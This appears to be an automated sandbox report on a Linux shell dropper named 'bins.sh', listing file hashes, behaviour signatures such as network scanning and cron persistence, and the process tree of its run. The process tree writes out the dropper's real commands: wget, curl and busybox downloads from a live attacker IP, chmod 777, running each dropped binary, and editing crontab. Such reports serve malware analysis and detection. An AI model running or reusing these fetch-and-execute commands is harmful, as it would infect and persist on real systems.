Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 15:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0e17ad464af64a931d90034b6bf2533d

  • SHA1

    fa3ac94af8804b2721185d6d797d2684d71db640

  • SHA256

    e6617aa9d237a3501f1dddfee90b1885cb95d30f621921d876fbbe676752a435

  • SHA512

    73f7d54af5bc9bb3abb834cce95be1aa9fd44b03f577258be3abdcc942f67a96e217ed21732611f31361bf636448aa74ba30d92584cf6c96149b065c765dd749

  • SSDEEP

    192:T4g4EGKoOqSIZNW6CWQvPlBFdCSG4Em+qSIZNJCWQvPVBFdCSI:T4LKjqSIZNW6CWQvPEqSIZNJCWQvPs

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1920) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:665
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:685
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          PID:689
        • /bin/rm
          rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:695
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • File and Directory Permissions Modification
            PID:697
          • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            ./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:698
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:700
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:701
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:702
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:703
                • /bin/rm
                  rm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
                  2⤵
                    PID:705
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                    2⤵
                      PID:708
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                      2⤵
                        PID:770
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                        2⤵
                        • Writes file to tmp directory
                        PID:795
                      • /bin/chmod
                        chmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                        2⤵
                        • File and Directory Permissions Modification
                        PID:801
                      • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                        ./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                        2⤵
                        • Executes dropped EXE
                        PID:802
                      • /bin/rm
                        rm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                        2⤵
                          PID:804
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                          2⤵
                            PID:805
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                            2⤵
                              PID:807
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                              2⤵
                              • Writes file to tmp directory
                              PID:809
                            • /bin/chmod
                              chmod 777 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                              2⤵
                              • File and Directory Permissions Modification
                              PID:811
                            • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                              ./upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                              2⤵
                              • Executes dropped EXE
                              PID:813
                            • /bin/rm
                              rm upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                              2⤵
                                PID:814
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                                2⤵
                                  PID:815
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                                  2⤵
                                    PID:817

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /var/spool/cron/crontabs/tmp.dcpalX

                                  Filesize

                                  210B

                                  MD5

                                  e2a03537d9a41e558a62714dff514de7

                                  SHA1

                                  e49f5274fd2726da81a8a3702b52a4ee759b0caf

                                  SHA256

                                  302990b449ba508dcd18eef5d63aca45d0934af0ecccfd97a332ea071ca2b09d

                                  SHA512

                                  a560ee632ba4a588161bafe26cc814746eda3db19e5fbc4232e7d8e1c7176df390e91aed3256e7278f6a7f572a4798f17e70a7f0f73899a23cfa914e01c50de0

                                • memory/693-1-0xb6788000-0xb6799044-memory.dmp